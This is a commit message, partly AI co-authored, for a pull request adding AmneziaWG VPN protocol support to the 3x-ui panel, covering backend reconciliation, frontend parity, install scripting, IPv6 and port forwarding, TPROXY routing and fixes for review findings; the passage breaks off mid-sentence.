feat(amneziawg): add native AmneziaWG protocol support (#6105)

* feat(amneziawg): add native AmneziaWG protocol backend

AmneziaWG (WireGuard plus DPI-resistant obfuscation) needs no Docker
here — it runs as a genuine kernel interface via awg-quick/awg, managed
the same way internal/mtproto manages mtg: one Inbound row is one
desired Instance, and a Manager reconciles running interfaces toward
the database every 10s (internal/web/job/amneziawg_job.go) plus
immediately after a client edit (applyLocalAmneziaWG).

Clients reuse model.Client verbatim (the same PrivateKey/PublicKey/
PreSharedKey/AllowedIPs fields WireGuard already uses), so bulk
operations, the QR/share-link modal and subscriptions come from the
shared inbound infrastructure instead of a parallel implementation.
internal/amneziawg owns the obfuscation param generator/validator
(ported from coinman-dev/3ax-ui, upgraded to AmneziaWG 2.0's S3/S4
padding and I1 signature packet) and the exec wrapper around
awg-quick/awg, with fingerprint-based reconcile (noop / reload-via-
syncconf / full restart) mirroring mtproto.Manager so a same-protocol
edit doesn't force an unnecessary interface bounce that would drop
every peer's connection.

Frontend and install.sh's DKMS/awg-tools setup are tracked separately;
this is backend-only.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(amneziawg): add frontend support and fix a Go->Zod generator gap

Wires the amneziawg protocol through the panel UI the same way every
other protocol is registered: a Zod settings schema (nested
{server, clients}, matching the Go JSON exactly), the protocol enum,
the inbound-form's per-protocol fields component and its
tab-visibility allowlist, the default-settings factory, the client
schema dispatcher, and the sniffing-capability exclusion (no Xray
inbound exists for amneziawg, same as mtproto).

Client key/allowedIPs fields are reused rather than duplicated: since
AmneziaWG clients are wire-identical to WireGuard clients (same
model.Client fields), ClientFormModal renders one shared field block
for both, switching only the visible label by which protocol is
active. The private-key input also gets a live public-key sync via a
new useEffect, because unlike WireGuard's Xray-native inbound (which
re-derives its public key at runtime and never stores one),
AmneziaWG's server.publicKey is a real persisted field the Go backend
reads directly — free-typing a new private key without this would
silently save a mismatched keypair.

Adds a downloadable per-client .conf (amneziawgConfig.ts, mirroring
wireguardConfig.ts) with the obfuscation lines, and an
InboundOption.AwgServer field on the Go side so the config builder
gets the full server block in one round trip.

Along the way, running tools/openapigen surfaced a real bug: it
doesn't flatten anonymously-embedded Go structs the way encoding/json
does, so ServerSettings embedding Obfuscation20 produced a Zod schema
with a nested `obfuscation20` key that never matches the real wire
JSON. Fixed by un-embedding (flat fields + an accessor method) and
registering internal/amneziawg in the generator's own package list,
which had been silently emitting a dangling schema reference.

English and Russian translations are complete; the other 10 locale
files still fall back to English for the new keys.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(amneziawg): complete frontend parity for the Inbounds list page

The Clients page (form, CRUD, QR/config) already worked from the
prior commit; this closes the remaining gap on the Inbounds side and
in a couple of protocol allowlists that a plain search for existing
wireguard/mtproto handling turned up.

lib/xray/inbound-link.ts gets amneziawg-specific link/config builders
(genAmneziaWGLink/genAmneziaWGConfig, plus the *s fan-out variants)
mirroring the wireguard ones — AmneziaWG has no legacy peers-array to
fall back to, so these read settings.clients directly and add the
obfuscation lines every client must share with the server. Wired into
genInboundLinks generically, and into three consumers that call the
wireguard builders directly rather than through that dispatcher:
QrCodeModal, InboundInfoModal, and InboundsPage's bulk export.

ClientInfoModal, ClientBulkAddModal, and the bulk attach/detach modals
each had their own protocol allowlist that needed amneziawg added
alongside wireguard/mtproto.

Two real gaps surfaced by grepping every remaining 'wireguard' /
Protocols.WIREGUARD hit in frontend/src rather than trusting the
checklist was exhaustive:
- useInbounds.ts's TRACKED_PROTOCOLS gates the deactive/depleted/
  expiring/online client counts shown per inbound on the list page;
  without amneziawg those counts would silently read zero.
- inbound-tag.ts is an explicit client-side mirror of the Go backend's
  port_conflict.go (the file says so itself: "Keep in sync"). It still
  only special-cased wireguard for UDP, so an amneziawg inbound would
  have fallen through to the TCP default and disagreed with the
  backend's own port-conflict math.

Also finishes translating the AmneziaWG UI strings into the 11 locale
files that were still falling back to English (ar-EG, es-ES, fa-IR,
id-ID, ja-JP, pt-BR, tr-TR, uk-UA, vi-VN, zh-CN, zh-TW), matching
en-US/ru-RU key-for-key (26 new keys, verified by count in every file).

Not run anywhere: npm run typecheck / build. This machine has neither
Node nor npm, so nothing here has compiled — reviewed by hand plus
brace/paren balance checks and cross-referencing the generated Zod/TS
types. Treat this as needing a real typecheck before shipping.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(install): note that AmneziaWG kernel module install is still manual

Tracked separately (not yet ported into this script) — see
coinman-dev/3ax-ui's install_amneziawg for the reference approach
(ppa:amnezia/ppa). Also serves as a real, path-filter-matching change
to get the previous empty commit's CI trigger to actually fire —
release.yml's push trigger is paths-scoped and an empty commit changes
no files, so it never matched.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(amneziawg): add a button to randomize obfuscation parameters

Mirrors the existing key-regenerate button next to the private key
field. Client-side randomization matches the ranges/constraints of
GenerateObfuscation20's "default" preset (internal/amneziawg/params.go)
closely enough for a form suggestion — the user can still hand-edit any
field afterward.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(install): auto-install the AmneziaWG DKMS module + amneziawg-tools

Ports install_amneziawg from coinman-dev/3ax-ui's install.sh, adapted to
this script's broader distro coverage and NONINTERACTIVE convention:

- Ubuntu/Debian/Armbian: ppa:amnezia/ppa (primary, tested path), with a
  reachability pre-check for the Launchpad PPA host — often blocked by
  hosting providers, especially Russian VPS — so a flaky network skips
  the feature instead of hanging apt through several retries.
- Fedora/RHEL-family, Arch/Manjaro/Parch: best-effort fallback to plain
  wireguard-tools (+ AUR amneziawg-dkms via yay/paru when available),
  with a manual-install pointer.
- Everything else: manual-install pointer only.

Also installs ndppd and persists IPv4/IPv6 forwarding (for the future
IPv6/NDP phase, not yet wired into the panel) and adds a Secure Boot
warning at the end of the run, since a DKMS-built module is unsigned
and won't load while it's enabled — a common trap on cloud VPS images.

Never fatal: the panel installs and runs fine either way, an AmneziaWG
inbound just won't bring up its tunnel until the module is present.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(amneziawg): resolve all 3 real CI failures (typecheck/lint/codegen)

Found by checking the fork's Actions tab after the last two pushes —
the release build passed (it doesn't run these checks) but the
separate CI workflow caught three real issues:

- golangci-lint (noctx): every internal/amneziawg/manager.go exec.Command
  call is now exec.CommandContext with a 30s timeout, so a hung
  awg-quick/awg invocation can't block the reconcile job indefinitely
  (mirrors internal/mtproto/process.go's own CommandContext usage).
- tsc --noEmit: frontend/src/schemas/client.ts's hand-maintained
  InboundOptionSchema (used by the useClients hook, separate from the
  auto-generated one in generated/) never got an awgServer field added
  when the AmneziaWG frontend work was done — every read of
  inbound.awgServer.* in amneziawgConfig.ts was typing as {}. Added
  AwgServerOptionSchema, nested (not flattened like wg*) to match what
  amneziawgConfig.ts already expects. Also guarded server.publicKey in
  inbound-link.ts's genAmneziaWGLink against the schema's optional type.
- codegen staleness: frontend/public/openapi.json is produced by a Node
  script (gen:api) this machine can't run; hand-applied the exact diff
  the CI failure log already showed (amneziawg protocol enum entry,
  ServerSettings schema, InboundOption.awgServer, one example payload),
  verified as valid JSON.

Also confirmed independently by this run: install_amneziawg (previous
commit) installed and loaded the DKMS module successfully on both amd64
and arm64 CI runners. The two "Deploy Smoke Tests" failures are
unrelated to this change — this fork has only ever published the
dev-latest pre-release, and GitHub's /releases/latest API deliberately
excludes pre-releases, so the smoke test's no-argument install path
(which resolves "latest") has nothing to find. Not a regression; needs
an actual tagged release whenever that's wanted.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(amneziawg): Phase 2a — IPv6 support + NDP proxy

Adds native dual-stack IPv6 to AmneziaWG inbounds, ported from
coinman-dev/3ax-ui's approach:

- ServerSettings gets ipv6Enabled/ipv6Subnet/ipv6ExternalInterface;
  Instance carries the server's own IPv6 address (first host of the
  subnet) alongside its IPv4 one.
- defaultAmneziaWGClients allocates an IPv6 host address per client
  (second AllowedIPs entry) when the server has IPv6 enabled, reusing
  allocateWireguardAddress — which needed a real fix along the way: it
  always suffixed "/32" regardless of address family, which is wrong
  for an IPv6 host address (needs /128). Now family-aware.
- generateServerConfig's PostUp/PostDown gains IPv6 forward-accept
  rules, proxy_ndp sysctl, and one `ip -6 neigh add/del proxy` entry per
  enabled peer with an IPv6 address — the lightweight per-client
  method, not the ndppd-daemon whole-subnet method (not worth the
  config-file-management complexity at this scale; ndppd itself is
  still installed by install.sh in case that changes later).
- ValidateIPv6Subnet rejects a malformed subnet before save.
- Frontend: ipv6Enabled/ipv6Subnet/ipv6ExternalInterface fields on the
  AmneziaWG inbound form, EN+RU translations, openapi.json/generated/*
  regenerated (the latter via `go run ./tools/openapigen`, pure Go).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(amneziawg): fill in IPv6 fields missed by the Phase 2a commit

Two real gaps the CI caught (both new fields, both my miss):

- inbound-defaults.ts's createDefaultAmneziawgInboundSettings() built a
  server object literal predating ipv6Enabled/ipv6Subnet/
  ipv6ExternalInterface — AmneziawgServer's inferred type now requires
  them (zod .default() fields are non-optional post-parse), so this
  didn't typecheck at all.
- openapi.json's ipv6Enabled property was missing the description the
  real generator attaches (the Go doc comment covering all three IPv6
  fields is attached to the first one) — a one-line diff, but git
  diff --exit-code doesn't care how small.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(amneziawg): Phase 2b — per-client port-forwarding

Admins can now set a per-client ForwardedPorts string (e.g. "80, 443,
8000-8100") that gets DNAT'd + FORWARD'd to that peer's tunnel address
via iptables rules in PostUp/PostDown, ported and simplified from
coinman-dev/3ax-ui's shared/portfwd.

Two decisions worth flagging for future readers:

- The iptables --comment tag on each rule is awg-fwd-<fnv32a(email)>,
  not the raw client email. Email is admin/API-supplied free text that
  ends up embedded in a shell-executed PostUp/PostDown line; a hash
  can never carry a shell metacharacter through where raw
  interpolation could.
- The reconcile manager gained a third fingerprint (portFwdFP, next to
  the existing structural/peers ones). `awg syncconf` only touches the
  WireGuard peer table — it never re-applies PostUp/PostDown iptables
  rules — so a port-forward-only change has to force a full
  awg-quick down+up bounce, same as a structural change, rather than
  the lighter sync a plain peer add/remove can use.

Also fixes a real pre-existing bug found while wiring up IPv6 client
allocation in the previous commit's spirit: allocateWireguardAddress
always suffixed "/32" regardless of address family, which produced
invalid host bits for IPv6 (needs "/128").

ForwardedPorts flows through model.Client -> model.ClientRecord
(gorm column wg_forwarded_ports, auto-migrated) -> ToRecord/ToClient/
MergeClientRecord, mirroring the awgServer field's earlier lesson
that new fields need checking against a second, hand-maintained
persistence-layer struct.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(amneziawg): route a client's traffic through Xray via the Routing page

Every enabled AmneziaWG inbound gets its own Xray TPROXY bridge
automatically, with no toggle to enable first: a loopback
dokodemo-door inbound (sockopt.tproxy) tagged with the AmneziaWG
inbound's own real tag, so it's already selectable in the existing
Routing page's inbound-tag picker — the same trick the mtproto
sidecar's own bridge already relies on (InboundService.GetInboundTags
is a plain, protocol-blind SELECT over every inbound row's tag, no
dedicated UI plumbing needed).

internal/amneziawg's defaultPostUpDown TPROXYs every peer's traffic
into that bridge unconditionally; the bridge's port is derived
deterministically from the inbound's id (EgressPortForInbound) so the
kernel-side reconcile loop and the Xray-config generator never need to
negotiate a runtime value between them.

injectAmneziawgEgress never generates a routing rule itself — whether
a client's traffic goes anywhere beyond Xray's default routing is
entirely up to whatever rules the admin adds through the existing
Routing UI (pick the AmneziaWG inbound's tag as source, optionally a
specific peer's IP via that page's own Source-IP field, and an
outbound), exactly the same workflow as routing any other protocol.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(amneziawg): recover orphaned interfaces after an ungraceful exit

Two gaps left an AmneziaWG interface stuck outside the manager's
control after a crash (kill -9/OOM/panic skips StopAll):

- ensureRestart's teardown was gated on the in-memory `exists` map,
  which is always empty on a fresh process, so a survived interface
  never got interfaceDown before interfaceUp tried `ip link add`
  against a name the kernel already had — failing forever and never
  populating m.ifaces, so traffic accounting silently stopped and the
  inbound could never be removed. Gate on isInterfaceUp instead, which
  checks real kernel state rather than this process's own bookkeeping.

- An inbound deleted from the database entirely while the panel was
  down has no entry in `desired` ever again, so it never reaches the
  per-id cleanup loop in Reconcile (which only walks m.ifaces). Add a
  one-time sweepOrphansLocked scan of configDir, mirroring
  mtproto.Manager.sweepOrphansLocked, that tears down and removes any
  leftover interface/config not in the current desired set.

Found by the automated review on MHSanaei/3x-ui#6105 (Finding 1).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* i18n(amneziawg): backfill IPv6/obfuscation/port-forwarding keys in 11 locales

Only en-US/ru-RU ever got these 9 keys as each AmneziaWG feature landed
(the regenerate-obfuscation button, then Phase 2a's IPv6 fields, then
Phase 2b's per-client ForwardedPorts) — the other 11 locale files were
never backfilled, so i18next has been silently falling back to English
for all of them since Phase 1. Cosmetic-only (never broke anything),
but now closed for every shipped locale.

* fix(amneziawg): resolve 7 Medium findings from the automated PR review

Each is independently reproducible; fixed together since one review pass
found all of them.

- manager.go: the shared "ip rule add fwmark" policy route had no
  existence check, so it duplicated in "ip rule show" on every interface
  bounce (which hostRulesFingerprint forces on any client add/remove/
  re-IP). Now checked via "ip rule list | grep -q ..." first. (Finding 2)

- params.go: ExternalInterface, IPv6ExternalInterface, and subnetIp/
  subnetCidr are interpolated unescaped into a shell-executed PostUp/
  PostDown line, but only obfuscation and the IPv6 subnet were validated
  before save. Added ValidateInterfaceName (a strict charset+length
  pattern) and ValidateSubnetIPv4 (netip.ParsePrefix), wired into
  normalizeAmneziaWGSettings. (Finding 3)

- amneziawg_job.go: IsAwgInstalled() existed but nothing ever called it,
  so a host without awg/awg-quick (the Docker image, RHEL, Arch, a failed
  install.sh PPA step) logged a reconcile failure every 10s forever. Now
  checked once an inbound actually needs it, warning once instead of
  spamming. (Finding 4)

- client_inbound_apply.go: the WireGuard/AmneziaWG credential
  carry-forward (added so a metadata-only client edit doesn't rotate
  keys) never covered ForwardedPorts, so a partial edit -- an API call or
  Telegram-bot toggle that omits the field -- silently wiped a client's
  port-forwarding spec. Carried forward and written back the same way the
  key fields already are. (Finding 5)

- manager.go: hostRulesFingerprint keyed each peer on its IPv4 address
  only, and structuralFingerprint omitted IPv6Enabled/IPv6ExternalInterface
  entirely, so an IPv6-only change could pick the syncconf reload path
  (which never re-runs PostUp, leaving a stale NDP-proxy entry) or be a
  complete no-op. Both fingerprints now cover the IPv6 fields. (Finding 6)

- port_conflict.go: the AmneziaWG egress bridge (injectAmneziawgEgress)
  binds 127.0.0.1:63100+id with no collision check anywhere, since it
  isn't a database row the ordinary port-conflict query can see -- same
  blind spot the reserved Xray API port already has its own check for.
  Added the equivalent check for the AmneziaWG bridge port. (Finding 7)

- install.sh: install_amneziawg ran unconditionally for every install/
  update, building a DKMS kernel module and enabling host-wide IPv4/IPv6
  forwarding whether or not the feature is ever used. Gated behind a new
  should_install_amneziawg (XUI_INSTALL_AMNEZIAWG=true/false, or an
  interactive y/N prompt defaulting to no). Also replaced the deprecated
  apt-key adv with a dedicated keyring + signed-by= on the Debian branch,
  and guarded its sources.list appends against duplication on a retried
  install. (Finding 8)

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(amneziawg): make the Xray TPROXY bridge a per-inbound opt-in

Addresses Finding 10 from the automated PR review: an always-on TPROXY
bridge makes every AmneziaWG tunnel hard-depend on Xray being up (all
traffic, including DNS, drops whenever Xray restarts), and forces a full
awg-quick down+up bounce on any client add/remove/re-IP, permanently
losing the syncconf fast path.

Adds ServerSettings.RouteThroughXray (off by default):

- defaultPostUpDown only emits the TPROXY/policy-route rules when it's
  on; a plain AmneziaWG tunnel now has zero Xray dependency out of the
  box.
- structuralFingerprint covers it (toggling it changes whether PostUp/
  PostDown contain any TPROXY rules at all -- structural, not a
  per-peer host-rule). hostRulesFingerprint's IPv4 tracking is now
  itself conditional on RouteThroughXray (and IPv6 tracking on
  IPv6Enabled), so an instance that never uses either keeps the
  syncconf fast path for a plain peer re-IP.
- injectAmneziawgEgress only creates a bridge for inbounds that opted
  in; checkAmneziawgEgressConflict (the Finding-7 fix) now parses each
  candidate through InstanceFromInbound so a non-routed inbound's port
  is correctly never treated as reserved.
- New inbound-level Switch in the AmneziaWG form; the actual outbound
  decision is still made entirely through the panel's stock Routing
  page, same as before -- only whether the bridge exists at all is now
  a choice.

Translation keys added to all 13 locales in the same commit this time,
not backfilled later (see Finding 9's lesson).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(amneziawg): resolve 4 Low findings from the automated PR review

- manager.go: serverAddress assumed subnetIp always ends in ".0"; a
  base like "10.8.1.5" was used verbatim as the server's own address,
  eventually colliding with peer allocation (which starts at .2
  upward). Now derives the first host of the actual subnetIp/subnetCidr
  network via netip, matching serverAddressV6's own approach. A /32
  base (no host bits at all) is still used as-is. (Finding 12, partial
  -- the /16 pool-widening half of this finding only exists on the
  upstream-pr/amneziawg branch's merged client_wireguard.go, not here;
  handled separately on that branch.)

- manager.go: ensureLocked carried the previous per-peer traffic
  counters (`last`) forward even through a full restart, but
  awg-quick down+up resets the kernel's own counters to zero -- the
  next CollectTraffic computed a large negative delta (clamped to 0),
  silently discarding real traffic. Extracted the decision into
  nextTrafficBaseline: only a reload (syncconf) preserves the
  baseline. (Finding 13)

- portfwd.go: exported ForwardedPortsInclude; inbound_amneziawg.go's
  new checkForwardedPortsConflict uses it to reject, at save time, a
  client's forwardedPorts that would DNAT the panel's own port or
  another enabled inbound's port to the tunnel client --
  portForwardLines has no destination restriction, so this collision
  was previously silent. Wired into both the single-client update path
  and the add-client path (client_inbound_apply.go), plus
  normalizeAmneziaWGSettings for the whole-inbound save path. (Finding 14)

- inbound.go: InboundOption.AwgServer sent the whole ServerSettings
  struct including PrivateKey to GetInboundOptions callers -- a
  shared, admin-wide dropdown-filling endpoint the frontend's own
  AwgServerOptionSchema never reads that field from. Redacted it
  before assigning. (Finding 11)

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(amneziawg): don't widen the peer address pool past AmneziaWG's own subnet

Completes Finding 12 from the automated PR review (the serverAddress half
of this finding was already fixed on main and cherry-picked here). This
half is specific to this branch: allocateWireguardAddress's /16
pool-widening fallback is an independent addition from upstream's own
main that this branch inherited during the cherry-pick rebase -- it
doesn't exist on the fork's own main at all, so this fix can't be
cherry-picked the normal way and is committed directly here.

Widening is safe for WireGuard's own Xray-native inbound (AllowedIPs
isn't tied to a strict kernel interface subnet), but AmneziaWG's kernel
interface Address is exactly the configured subnet -- an address
allocated from the containing /16 once the /24 fills up would be
silently unroutable. allocateWireguardAddress now takes an explicit
allowWidening bool: WireGuard's own caller passes true (unchanged
behavior), AmneziaWG's passes false (fails loudly on exhaustion instead).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(docker): note that AmneziaWG doesn't work in this image

Investigated: the image is Alpine-based, and AmneziaWG's own packaging
(DKMS module + amneziawg-tools) doesn't target Alpine/musl at all --
unlike the Debian/Ubuntu/Fedora/Arch paths install.sh already handles,
there's no package to apk add even with full host network/capabilities.
The panel already degrades gracefully (IsAwgInstalled() logs one warning
instead of retrying forever), so no code change is needed -- just made
the reason explicit at the point where a user would reach for cap_add/
network_mode to try to work around it.

* fix(sub): include amneziawg inbounds in subscription links

getInboundsBySubId's SQL protocol allowlist never had 'amneziawg' added,
so every AmneziaWG client was silently excluded from all three
subscription formats (plain/individual links, JSON, Clash) and from the
Telegram bot's QR/individual-link buttons, which fetch through the same
path. genAmneziaWGLink itself was already fully implemented and already
wired into GetLink's dispatch switch -- it just never got a chance to
run. Same bug shape as the earlier TRACKED_PROTOCOLS frontend gap: a
hardcoded protocol list one entry short.

Found while investigating whether the Telegram bot needed AmneziaWG-
specific client-management code -- it doesn't (the bot itself is fully
protocol-agnostic), but this is the actual root cause of "can't share
an AmneziaWG client's config via the bot."

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(inbound): enforce node-eligibility server-side, not just in the UI

Investigated multi-node interaction with AmneziaWG: the master's own
reconcile (DesiredAmneziaWGInstances) and Xray config generation
(injectAmneziawgEgress, the GenXrayInboundConfig protocol skip) all
correctly filter on NodeID IS NULL, so a node-assigned AmneziaWG (or
MTProto) inbound would never be managed by the master. But nothing
stopped one from being created that way: NODE_ELIGIBLE_PROTOCOLS
(frontend/src/pages/inbounds/form/InboundFormModal.tsx) only hides the
node picker client-side -- a direct API call could set nodeId on an
AmneziaWG inbound, which every node then reconciles as an ordinary
local inbound (nodes run the identical binary, full cron suite
included), leaving it running unmanaged and untracked by the master's
own AmneziaWG bookkeeping.

Added isNodeEligibleProtocol (inbound_protocol.go), mirroring the
frontend's allowlist, and enforced it in both AddInbound (the actually
exploitable path -- nodeId comes straight from the request) and
UpdateInbound (defense in depth; NodeID is already restored from the
stored row there before this check, so it mainly guards against a
protocol change on an existing node-hosted inbound).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(amneziawg): allow TPROXY-marked traffic through a default-deny INPUT chain

TPROXY never rewrites a packet's own destination address, only the routing
decision. A default-deny firewall whose INPUT chain sanity-checks "is this
destination actually local" (UFW's ufw-not-local, via addrtype --dst-type
LOCAL, is a concrete example) silently drops the redirected packet before
Xray's socket ever sees it -- RouteThroughXray looked fully configured
(TPROXY rule present and counting, Xray listening with IP_TRANSPARENT set)
yet every peer's traffic vanished with no trace on either side.

Adds an idempotent, never-torn-down "iptables -I INPUT 1 -m mark --mark
<fwmark> -j ACCEPT" alongside the existing shared policy route, so this
works regardless of which firewall manager owns the rest of the INPUT chain.

* fix(frontend): give AmneziaWG the same UDP tag and its own tag color

The Inbounds list only special-cased isWireguard/isHysteria for the "UDP"
network badge, so an AmneziaWG row showed just the bare protocol tag with
no transport badge next to it. Added the missing isAmneziawg flag (mirrors
isWireguard exactly) and wired it into the same branch.

Client-row protocol-color maps in ClientsPage/HostList had no amneziawg
entry, silently falling back to grey -- ClientInfoModal already had
amneziawg: 'yellow' from earlier work, these two just never got it.

* feat(logs): show which AmneziaWG client an access-log line belongs to

The dokodemo-door TPROXY bridge every AmneziaWG peer's traffic is routed
through has no per-user identity, so Xray's own access log never carries an
"email:" token for these lines -- the Access Logs modal showed a blank
Email column for every in-*-udp row, even though every other protocol's
rows show the client normally.

The peer's decapsulated tunnel IP does survive as the log's "from" address,
and that IP deterministically maps to exactly one configured peer. Builds a
"<inbound tag>|<ip>" -> email index from the same AmneziaWG inbounds already
parsed elsewhere (amneziawg.InstanceFromInbound), and fills in Email from it
whenever the raw log line didn't have one.

* fix(amneziawg): enable sniffing on the TPROXY bridge

Domain-based Routing rules could never match RouteThroughXray traffic: an
AmneziaWG peer resolves DNS itself, through the tunnel, before ever sending
a packet, so the decapsulated traffic TPROXY hands to the bridge is already
a bare destination IP with no domain name attached at the network layer.
Every other inbound recovers this via sniffing (confirmed working for the
stock wireguard inbound, which does have it configured); the bridge never
got a sniffing block at all, so only tag/IP/network-based rules could ever
match it -- any domain rule above it in the list was silently unreachable.

* docs: add an AmneziaWG config page and list it as a supported protocol

Closes the PR checklist gap: the feature shipped with zero mention on
the docs site. Mirrors reality.mdx's structure (key settings, setup
steps, config excerpt) and notes the Docker/multi-node/Telegram-bot
caveats the PR itself is honest about not having confirmed.

* fix: address the fresh review round on PR #6105 (8 findings)

1. hostRulesFingerprint didn't account for ForwardedPorts when
   RouteThroughXray was off, so re-IPing a peer with port-forwarding
   configured left stale DNAT rules pointing at an address the next
   peer could be handed.
2. Server/client config values (keys, email, I1) were never validated
   for control characters before being written into the generated
   .conf; a newline could smuggle a PostUp hook into awg-quick's
   parser. Added ValidateConfigValue at save time and a
   sanitizeConfigValue backstop at render time.
3. checkForwardedPortsConflict didn't scope to node_id IS NULL, so a
   port used only on a different node produced a false collision; also
   hoisted the panel-port/inbounds lookup out of the per-client loop
   (portConflictContext) so N clients cost one query, not N.
4. PostDown commands were ";"-joined and abort on the first failure;
   appendOrTrue makes teardown best-effort so an external firewall
   flush can't leave DNAT rules to accumulate across bounces.
5. The "ip rule list | grep -q" existence check could SIGPIPE under
   pipefail and re-add a duplicate rule; switched to grep -c >/dev/null.
6. Ported the vpn:// share-link format (base64url of the plain .conf
   text, matching the real AmneziaVPN app) onto this branch -- it had
   only ever landed on our own fork's main, so this PR branch was still
   on the old amneziawg://+query-params scheme our own docs no longer
   described. Also corrected the docs' install.sh claim (opt-in/
   interactive, not automatic) and stale pre-opt-in comments in
   route_egress.go.
7. install.sh: Arch's ndppd install used pacman -Syu (full system
   upgrade) instead of -Sy like every other call in the script; and
   should_install_amneziawg re-prompted on every `x-ui update` even
   when awg was already installed.
8. CollectTraffic could clobber a concurrent restart's freshly-reset
   (empty) traffic baseline with stale pre-restart counters, since
   getPeerStats runs lock-free; now checks pointer identity before
   writing back. sweepOrphansLocked permanently disabled itself on a
   transient os.ReadDir failure instead of allowing a retry.

go build/vet/test and frontend typecheck/lint/build/vitest all pass.

* fix(install.sh): check the live sysctl value, not sysctl.conf text

Reviewer feedback (cherts, PR #6105): grepping /etc/sysctl.conf for the
setting name is unreliable -- many distros split sysctl config across
/etc/sysctl.d/*.conf, and /etc/sysctl.conf can be a symlink into that
directory, so the check can miss an already-active setting (harmless
duplicate append) or match a disabled/commented line (forwarding
silently stays off). Query the live value via `sysctl -n` instead,
which is accurate regardless of which file set it. Applied the same
fix to both the IPv6 and IPv4 checks for consistency.

* fix: update inbound_amneziawg.go to the split buildInboundForLocalRuntime

Same fork-only-file blind spot as the one caught on our own main after
the 3.6.0 sync: upstream split buildRuntimeInboundForAPI into
buildInboundForNodePush / buildInboundForLocalRuntime (part of the
node-sync client-deletion fix, 5bc81dfd), updating every call site it
could see. This file doesn't exist upstream, so it kept calling the
old name even after the branch merged in that commit.

* fix(frontend): recognize AmneziaWG's vpn:// scheme in share-link labels

The shared link-tag/label helper (used by the client info modal, QR
modal, and subscription page) had no entry for the vpn:// scheme
AmneziaWG links use, so it fell through to the generic fallback: a
plain "Vpn" tag with no color, and an empty remark/port that made the
row's title fall back to "Link N" instead of the inbound's actual
name:port — unlike every other protocol, which shows its real tag and
label.

vpn:// links are base64url of a plain .conf text (matching the real
AmneziaVPN app's own share-link format), not a structured URL, so
there's no query string or #hash to read a remark/port from. Decode
the payload and pull the remark/endpoint back out of the .conf text
directly instead.

* fix(xray): force a full restart for TPROXY inbounds, never hot-add them

Real incident: an AmneziaWG inbound with RouteThroughXray enabled lost
all internet on that connection after a migration. Root-caused on the
live box -- iptables TPROXY counters were incrementing (packets
correctly redirected to 127.0.0.1:63110), but nothing was actually
listening there (ss showed nothing on that port) until a full
`systemctl restart x-ui`, after which the bridge came up immediately.

Xray-core's gRPC AddInbound reports success for a new sockopt.tproxy
inbound (internal/amneziawg's own Xray egress bridge is the only kind
this fork ever generates) but doesn't reliably bind a working listener
for it outside of process startup -- the bridge silently never comes
up, and RouteThroughXray traffic goes nowhere until the next full
restart happens to occur for an unrelated reason.

diffInbounds already has this exact defensive pattern for REALITY
inbounds ("a gRPC remove+add does not reliably rebuild the REALITY
authenticator"), just never extended to TPROXY, and only in the
already-existing-then-changed branch -- the "brand new inbound" branch
had no such guard at all, which is exactly the path a freshly-enabled
RouteThroughXray bridge takes. Added inboundUsesTproxy and wired it
into both branches.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(amneziawg): flag Xray for resync when a peer edit changes qualifying state

Real production bug, root-caused on iiadmin-vps: updateAmneziaWGInbound/
AddInbound/DelInbound only ever updated the kernel interface via
amneziawg.GetManager() -- they never called SetNeedRestart the way every
other protocol's mutation path does (client_crud.go, inbound.go, etc. all
do). injectAmneziawgEgress's TPROXY bridge inbound depends on
InstanceFromInbound finding at least one qualifying peer plus
RouteThroughXray, so an edit that flips that (first peer added, last one
removed, RouteThroughXray toggled on) previously required a full panel
restart before the bridge actually got created, with no error anywhere:
the kernel interface would handshake fine, but traffic redirected into the
bridge's TPROXY port went nowhere because nothing was listening there.

diffInbounds/inboundUsesTproxy already correctly force a full restart for
a brand new TPROXY inbound (bdee0a20) -- that part was never the bug. The
gap was entirely upstream: nothing ever told Xray a resync was even needed.

* fix(clients): reject AllowedIPs already used on another WireGuard/AmneziaWG inbound

defaultWireguardClients/defaultAmneziaWGClients only ever checked uniqueness
against their own inbound's client list, so two inbounds sharing a subnet
(same protocol or not) could silently hand out or accept the same address --
the exact scenario behind a real duplicate-IP incident where a WireGuard and
an AmneziaWG client both ended up on the same address. otherTunnelAllowedIPs
now collects every address already claimed on every other tunnel inbound and
folds it into both the auto-allocation pool and the manual-entry collision
check, naming the other inbound in the error when it fires.

* fix(frontend): add the missing AmneziaWG config download on the sub page

The subscription page already gave WireGuard links their own "Config"
block (copy/download/QR of the actual .conf, via wireguardConfigFromLink
reversing the wireguard:// query params) but had no equivalent for
AmneziaWG's vpn:// links -- its isWireguardLink gate never matched them,
and no reverse-parse helper existed for this page specifically. Every
other surface (InboundInfoModal, ClientInfoModal, ClientQrModal) already
had this parity; this was the one page that didn't.

Fixed by adding amneziawgConfigFromLink (inbound-link.ts), simpler than
its WireGuard counterpart since a vpn:// payload already *is* the plain
.conf text -- just base64url-decode it, no query-param reconstruction
needed -- and wiring it into SubPage.tsx alongside the existing WireGuard
block, reusing the same pages.clients.amneziaWgConfig label the other
three surfaces already use.

* fix(xray): force a full restart for password-auth SOCKS5 hot-apply

Real production incident: editing a client under an AmneziaWG inbound
left its embedded SOCKS5 relay's settings byte-different (a new account
list), and Xray's gRPC remove+add hot swap silently dropped the account
for a peer whose email contained non-ASCII characters -- its tunnel kept
